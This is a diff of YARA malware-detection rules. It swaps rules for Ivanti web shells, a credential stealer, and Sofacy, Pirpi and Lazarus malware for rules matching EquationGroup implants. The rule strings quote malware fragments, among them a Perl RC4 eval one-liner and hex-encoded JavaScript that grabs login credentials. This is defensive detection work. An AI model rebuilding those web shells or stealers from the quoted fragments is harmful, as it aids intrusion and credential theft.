-		logic_hash = "41857ba465dd1f2e1aa8c1eed36b73606385eeedf233fd480bb8a4ef15499174"
+		description = "EquationGroup Malware - file PortMap_Implant.dll"
+		author = "Auto Generated"
+		id = "662ee1cf-b837-5362-84a8-1af7335d5e1b"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1560-L1574"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fcbc518d23dc21d482abcac29505c5404fc9e309554ca7dc9f1014adbff83e1a"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "964762416840738b1235ed4ae479a4b117b8cdcc762a6737e83bc2062c0cf236"
 
 	strings:
-		$s1 = "SSH-2.0-OpenSSH_0.3xx" ascii
-		$s2 = "$(exec $installer $@)" ascii
-		$t1 = "./installer/do-install" ascii
-		$t2 = "./installer/bom_files/" ascii
-		$t3 = "/tmp/data/root/etc/ld.so.preload" ascii
-		$t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii
+		$op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
+		$op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
+		$op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }
 
 	condition:
-		uint32(0)==0x464c457f and filesize <5MB and ((1 of ($s*)) or (3 of ($t*)))
+		( uint16(0)==0x5a4d and filesize <250KB and all of them )
 }
-rule SIGNATURE_BASE_M_Hunting_Dropper_WIREFIRE_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Ntevt : FILE
 {
 	meta:
-		description = "This rule detects WIREFIRE, a web shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."
-		author = "Mandiant"
-		id = "051244f0-00b1-5a4b-8c81-f4ce6f1aa22a"
-		date = "2024-01-11"
-		modified = "2024-04-24"
-		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_report_ivanti_mandiant_jan24.yar#L40-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6de651357a15efd01db4e658249d4981"
-		logic_hash = "c389a666bd093cdd7700385da43c8fa58b9f3d899e658c516df0f3aca439401d"
+		description = "EquationGroup Malware - file ntevt.sys"
+		author = "Florian Roth (Nextron Systems)"
+		id = "36d23adb-dafe-5e99-8976-b146ceca2f9b"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1577-L1591"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c5259c89dfedc34ca032775bda4ead04985da6b3d042b8a6635f5f848570d8c6"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "45e5e1ea3456d7852f5c610c7f4447776b9f15b56df7e3a53d57996123e0cebf"
 
 	strings:
-		$s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii
-		$s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii
-		$s3 = "Handles DELETE request to delete an existing visits data." ascii
-		$s4 = "request.data.decode().startswith('GIF'):" ascii
-		$s5 = "Utils.api_log_admin" ascii
+		$s1 = "ntevt.sys" fullword ascii
+		$s2 = "c:\\ntevt.pdb" fullword ascii
 
 	condition:
-		filesize <10KB and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and all of them )
 }
-rule SIGNATURE_BASE_M_Hunting_Webshell_LIGHTWIRE_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Nethide_Implant : FILE
 {
 	meta:
-		description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner."
-		author = "Mandiant (modified by Florian Roth)"
-		id = "9451da63-c68e-51e8-b4b1-c3082d46fbf6"
-		date = "2024-01-11"
-		modified = "2024-01-12"
-		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_report_ivanti_mandiant_jan24.yar#L60-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3d97f55a03ceb4f71671aa2ecf5b24e9"
-		logic_hash = "37b22a6c45dd53bc7b3f0c75cc5072e990246fea24591d192176c0b496e92084"
+		description = "EquationGroup Malware - file nethide_Implant.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "36559b69-1718-5d9b-8d6f-3db4becba0c4"
+		date = "2017-01-13"
+		modified = "2023-01-27"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1593-L1608"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd25d05b001ac7d41e60270b62aeecd520a570e76557c68d78d9680c7beb90ab"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b2daf9058fdc5e2affd5a409aebb90343ddde4239331d3de8edabeafdb3a48fa"
 
 	strings:
-		$s1 = "eval{my"
-		$s2 = "Crypt::RC4->new(\""
-		$s3 = "->RC4(decode_base64(CGI::param('"
-		$s4 = ";eval $"
-		$s5 = "\"Compatibility check: $@\";}"
+		$s1 = "\\\\.\\dlcndi" fullword ascii
+		$s2 = "s\\drivers\\" wide
 
 	condition:
-		filesize <10KB and all of them
+		( uint16(0)==0x5a4d and filesize <90KB and all of them )
 }
-rule SIGNATURE_BASE_M_Hunting_Dropper_THINSPOOL_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_4 : FILE
 {
 	meta:
-		description = "This rule detects THINSPOOL, a dropper that installs the LIGHTWIRE web shell onto a Pulse Secure system."
-		author = "Mandiant"
-		id = "dd340f72-0a2c-5b66-9e31-1c0f20cd842f"
-		date = "2024-01-11"
-		modified = "2024-04-24"
-		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_report_ivanti_mandiant_jan24.yar#L83-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "677c1aa6e2503b56fe13e1568a814754"
-		logic_hash = "a8043822cd36a802ba6656c42085f09d67cedb0689c9da48438d788b320bd6c0"
+		description = "EquationGroup Malware - file PC_Level4_flav_dll"
+		author = "Auto Generated"
+		id = "e3fc376b-f7cc-5dfa-bcf4-4991962a4cf9"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1610-L1624"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3046cbfa4b4f5eb5d0efc1b2b658567391b0c219650437088a0d6c179e9235fb"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "227faeb770ba538fb85692b3dfcd00f76a0a5205d1594bd0969a1e535ee90ee1"
 
 	strings:
-		$s1 = "/tmp/qactg/" ascii
-		$s2 = "echo '/home/config/dscommands'" ascii
-		$s3 = "echo '/home/perl/DSLogConfig.pm'" ascii
-		$s4 = "ADM20447" ascii
+		$op1 = { 11 8b da 23 df 8d 1c 9e c1 fb 02 33 da 23 df 33 }
+		$op2 = { c3 0c 57 8b 3b eb 27 8b f7 83 7e 08 00 8b 3f 74 }
+		$op3 = { 00 0f b7 5e 14 8d 5c 33 18 8b c3 2b 45 08 50 ff }
 
 	condition:
-		filesize <10KB and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_M_Hunting_Credtheft_WARPWIRE_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Tdi6 : FILE
 {
 	meta:
-		description = "This rule detects WARPWIRE, a credential stealer written in JavaScript that is embedded into a legitimate Pulse Secure file."
-		author = "Mandiant"
-		id = "9a6a8783-b531-560d-998d-8aa7c90158a8"
-		date = "2024-01-11"
-		modified = "2024-04-24"
-		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_report_ivanti_mandiant_jan24.yar#L102-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0c7a334a4d9dcd3c6335ae13bee59ea"
-		logic_hash = "8029df5998166ab3db3319b0dd765ef3356b4b44dc16d2d418015a0f7ffac97e"
+		description = "EquationGroup Malware - file tdi6.sys"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c6dbc28a-ec52-5256-afff-ab15ed1b90a6"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1626-L1642"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba7e14a3bf158795ecee498976847fbbcc80635799be4574f05aa80d1a85a4ef"
 		score = 75
-		quality = 77
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "12c082f74c0916a0e926488642236de3a12072a18d29c97bead15bb301f4b3f8"
 
 	strings:
-		$s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}
-		$s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}
-		$s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}
-		$s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74}
-		$s5 = "Remember the last selected auth realm for 30 days" ascii
+		$s1 = "tdi6.sys" fullword wide
+		$s3 = "TDI IPv6 Wrapper" fullword wide
+		$s5 = "Corporation. All rights reserved." fullword wide
+		$s6 = "FailAction" fullword wide
 
 	condition:
-		filesize <8KB and all of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_NVIDIA_LAPSUS_Leak_Compromised_Cert_Mar22_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Modifyauthentication_Implant : FILE
 {
 	meta:
-		description = "Detects a binary signed with the leaked NVIDIA certifcate and compiled after March 1st 2022"
+		description = "EquationGroup Malware - file modifyAuthentication_Implant.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8bc7460f-a1c4-5157-8c2d-34d3a6c9c7e9"
-		date = "2022-03-03"
-		modified = "2022-03-04"
-		reference = "https://twitter.com/cyb3rops/status/1499514240008437762"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_nvidia_leaked_cert.yar#L4-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e7e9e58ec1e3922471ad3ffd4ad9fbb3ac4b3c3841c35d1cd8886607f3cf1ab9"
-		score = 70
+		id = "990035c5-cd9c-59e0-b244-e2caafd2561f"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1644-L1661"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bdc4c9e9a3e327bb55781670d8f373d5a8904ccd47cc4b67673c47a76c54927"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e1dff24af5bfc991dca21b4e3a19ffbc069176d674179eef691afc6b1ac6f805"
+
+	strings:
+		$s1 = "LSASS.EXE" fullword wide
+		$s2 = "hsamsrv.dll" fullword ascii
+		$s3 = "hZwOpenProcess" fullword ascii
+		$s4 = "hOpenProcess" fullword ascii
+		$s5 = ".?AVFeFinallyFailure@@" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100MB and pe.timestamp>1646092800 and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "VeriSign Class 3 Code Signing 2010 CA" and (pe.signatures[i].serial=="43:bb:43:7d:60:98:66:28:6d:d8:39:e1:d0:03:09:f5" or pe.signatures[i].serial=="14:78:1b:c8:62:e8:dc:50:3a:55:93:46:f5:dc:c5:18"))
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sofacy_Oct17_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Ntfltmgr : FILE
 {
 	meta:
-		description = "Detects Sofacy malware reported in October 2017"
+		description = "EquationGroup Malware - file ntfltmgr.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6896dcf3-e422-5a40-bc1e-d1f35ae95c14"
-		date = "2017-10-23"
+		id = "dd7fd371-a097-5df5-9ffd-89babbadee96"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_oct17_camp.yar#L13-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c3620d0b347e6cc54af9e046f6b3b6515bfa23dd11225ce2720e09838708a42e"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1663-L1679"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e931088f363c7dfb6057019faf9e5c674c90f6bdae6211dcc871464b410efd3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805"
+		hash1 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
 
 	strings:
-		$x1 = "%localappdata%\\netwf.dll" fullword wide
-		$x2 = "set path = \"%localappdata%\\netwf.dll\"" fullword ascii
-		$x3 = "%localappdata%\\netwf.bat" fullword wide
-		$x4 = "KlpSvc.dll" fullword ascii
-		$g1 = "set path = \"%localappdata%\\" ascii
-		$g2 = "%localappdata%\\" wide
-		$s1 = "start rundll32.exe %path %,#1a" fullword ascii
-		$s2 = "gshell32" fullword wide
-		$s3 = "s - %lu" fullword ascii
-		$s4 = "be run i" fullword ascii
-		$s5 = "ingToBinhary" fullword ascii
-		$s6 = "%j%Xjs" fullword ascii
-		$s7 = "if NOT exist %path % (exit)" fullword ascii
+		$s1 = "ntfltmgr.sys" fullword wide
+		$s2 = "ntfltmgr.pdb" fullword ascii
+		$s4 = "Network Filter Manager" fullword wide
+		$s5 = "Corporation. All rights reserved." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="a2d1be6502b4b3c28959a4fb0196ea45" or pe.exports("KlpSvc") or (1 of ($x*) or 4 of them ) or ($s1 and all of ($g*)))
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sofacy_Oct17_2 : FILE
+rule SIGNATURE_BASE_Equationgroup_DXGHLP16 : FILE
 {
 	meta:
-		description = "Detects Sofacy malware reported in October 2017"
+		description = "EquationGroup Malware - file DXGHLP16.SYS"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c820eab0-9b64-5718-8681-a4f515ee462b"
-		date = "2017-10-23"
-		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_oct17_camp.yar#L49-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c2736cf9efbb022590f4c23986531e645ac412a5b98a950b143f2d75a33e8063"
+		id = "d9e39c22-f606-5d9c-a5e2-e536b8566595"
+		date = "2017-01-13"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1681-L1702"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5244cef876af4c0c02109599e6250254c854ed5c9bd2d0ccc44676dca21a1650"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18"
+		hash1 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
 
 	strings:
-		$x1 = "netwf.dll" fullword wide
-		$s1 = "%s - %s - %2.2x" fullword wide
-		$s2 = "%s - %lu" fullword ascii
-		$s3 = "%s \"%s\", %s" fullword wide
-		$s4 = "%j%Xjsf" fullword ascii
+		$s1 = "DXGHLP16.SYS" fullword wide
+		$s2 = "P16.SYS" fullword ascii
+		$s3 = "\\Registry\\User\\CurrentUser\\" wide
+		$s4 = "\\DosDevices\\%ws" wide
+		$s5 = "\\Device\\%ws_%ws" wide
+		$s6 = "ct@SYS\\DXGHLP16.dbg" fullword ascii
+		$s7 = "%ws%03d%ws%wZ" fullword wide
+		$s8 = "TCP/IP driver" fullword wide
+		$s9 = "\\Device\\%ws" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and (pe.imphash()=="13344e2a717849489bcd93692f9646f7" or (4 of them ))) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Malware_JS_Powershell_Obfuscated : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Msgkd : FILE
 {
 	meta:
-		description = "Unspecified malware - file rechnung_3.js"
+		description = "EquationGroup Malware - file msgkd.ex_"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7995dd3a-5942-5c48-9e50-64f4964249a7"
-		date = "2017-03-24"
+		id = "41019119-9bf4-5a45-b74b-f75ab7738821"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_javascript_powershell.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1dd745624971f10acb7911433f363b0cf20c8c45344f702d7f3549c58689b371"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1704-L1718"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "60336294ef5fa0221fc6a0e8b05bb279ac0e167024568cd9efa78e678e763704"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3af15a2d60f946e0c4338c84bd39880652f676dc884057a96a10d7f802215760"
+		hash1 = "25eec68fc9f0d8d1b5d72c9eae7bee29035918e9dcbeab13e276dec4b2ad2a56"
 
 	strings:
-		$x1 = "po\" + \"wer\" + \"sh\" + \"e\" + \"ll\";" fullword ascii
+		$s1 = "KEysud" fullword ascii
+		$s2 = "XWWWPWS" fullword ascii
 
 	condition:
-		filesize <30KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Pirpi_1609_A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Runaschild_Lp : FILE
 {
 	meta:
-		description = "Detects Pirpi Backdoor - and other malware (generic rule)"
+		description = "EquationGroup Malware - file RunAsChild_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "72b996e2-56cf-5a8d-8d8b-97eda7105d26"
-		date = "2016-09-08"
+		id = "f0623c3f-3a49-5cdf-89ea-2b3273fd8324"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_pirpi.yar#L10-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "470745d0dd44c161ed6ec474f85531a3aca8ebb0adb98b902cb0b7465ca07d8b"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1720-L1735"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77bea554ead64f85f4efdc49f91ea3b24d1759ae9d91718d443938ab862b0191"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c"
-		hash2 = "8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78"
+		hash1 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
 
 	strings:
-		$x1 = "expand.exe1.gif" fullword ascii
-		$c1 = "expand.exe" fullword ascii
-		$c2 = "ctf.exe" fullword ascii
-		$s1 = "flvUpdate.exe" fullword wide
-		$s2 = "www.ThinkWorking.com" fullword wide
-		$s3 = "ctfnon.exe" fullword ascii
-		$s4 = "flv%d.exe" fullword ascii
-		$s5 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii
-		$s6 = "12811[%d].gif" fullword ascii
-		$s7 = "GetApp03" fullword wide
-		$s8 = "flvUpdate" fullword wide
-		$s9 = "%d-%4.4d%d" fullword ascii
-		$s10 = "http://%s/%5.5d.html" fullword ascii
-		$s11 = "flvbho.exe" fullword wide
-		$op1 = { 74 08 c1 cb 0d 03 da 40 eb }
-		$op2 = { 03 f5 56 8b 76 20 03 f5 33 c9 49 }
-		$op3 = { 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 8b 03 c5 }
+		$s1 = "Privilege elevation failed" fullword wide
+		$s2 = "Unable to open parent process" fullword wide
+		$s4 = "Invalid input to lpRunAsChildPPC" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and ($x1 or all of ($c*) or all of ($op*))) or (8 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Pirpi_1609_B : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_6 : FILE
 {
 	meta:
-		description = "Detects Pirpi Backdoor"
+		description = "EquationGroup Malware - file PC_Level3_dll_x64"
 		author = "Florian Roth (Nextron Systems)"
-		id = "caf63b97-efd7-5cd4-8954-b86db4d93cf5"
-		date = "2016-09-08"
+		id = "99b2fab0-1298-5d48-a78b-eb59942ecfca"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_pirpi.yar#L45-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4dafff80fb7bfcffccf96d991245c13b3208fd4f5a21488d7d6885758ef05078"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1737-L1752"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5a14bd8efe2cf68beec207e5deec28fd5b9d89c506593214eccbceae3cb862a7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "498b98c02e19f4b03dc6a3a8b6ff8761ef2c0fedda846ced4b6f1c87b52468e7"
+		hash1 = "339855618fb3ef53987b8c14a61bd4519b2616e766149e0c21cbd7cbe7a632c9"
 
 	strings:
-		$s1 = "tconn <ip> <port> //set temp connect value, and disconnect." fullword ascii
-		$s2 = "E* ListenCheckSsl SslRecv fd(%d) Error ret:%d %d" fullword ascii
-		$s3 = "%s %s L* ListenCheckSsl fd(%d) SslV(-%d-)" fullword ascii
-		$s4 = "S:%d.%d-%d.%d V(%d.%d) Listen On %d Ok." fullword ascii
-		$s5 = "E* ListenCheckSsl fd(%d) SslAccept Err %d" fullword ascii
-		$s6 = "%s-%s N110 Ssl Connect Ok(%s:%d)." fullword ascii
-		$s7 = "%s-%s N110 Basic Connect Ok(%s:%d)." fullword ascii
-		$s8 = "tconn <ip> <port>" fullword ascii
+		$s1 = "Psxssdll.dll" fullword wide
+		$s2 = "Posix Server Dll" fullword wide
+		$s3 = "Copyright (C) Microsoft" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 2 of them ) or (4 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Lazarus_Dec_17_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_PC_Level3_Http_Flav_Dll_X64 : FILE
 {
 	meta:
-		description = "Detects Lazarus malware from incident in Dec 2017"
+		description = "EquationGroup Malware - file PC_Level3_http_flav_dll_x64"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f195ebf0-d7af-58e8-a544-769a0c8b628b"
-		date = "2017-12-20"
+		id = "93a3d47d-1dac-5621-8e69-d6d23b7628db"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8U6fY2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec17.yar#L12-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "50ff8418cf342147a81ef3a418e5e61d42f0e5764982e43b51d4dd3a983a548e"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1754-L1771"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b304cb747e609ad5de46624e2d0d005d5f8521e16f0b36cab31535709d7ab72f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
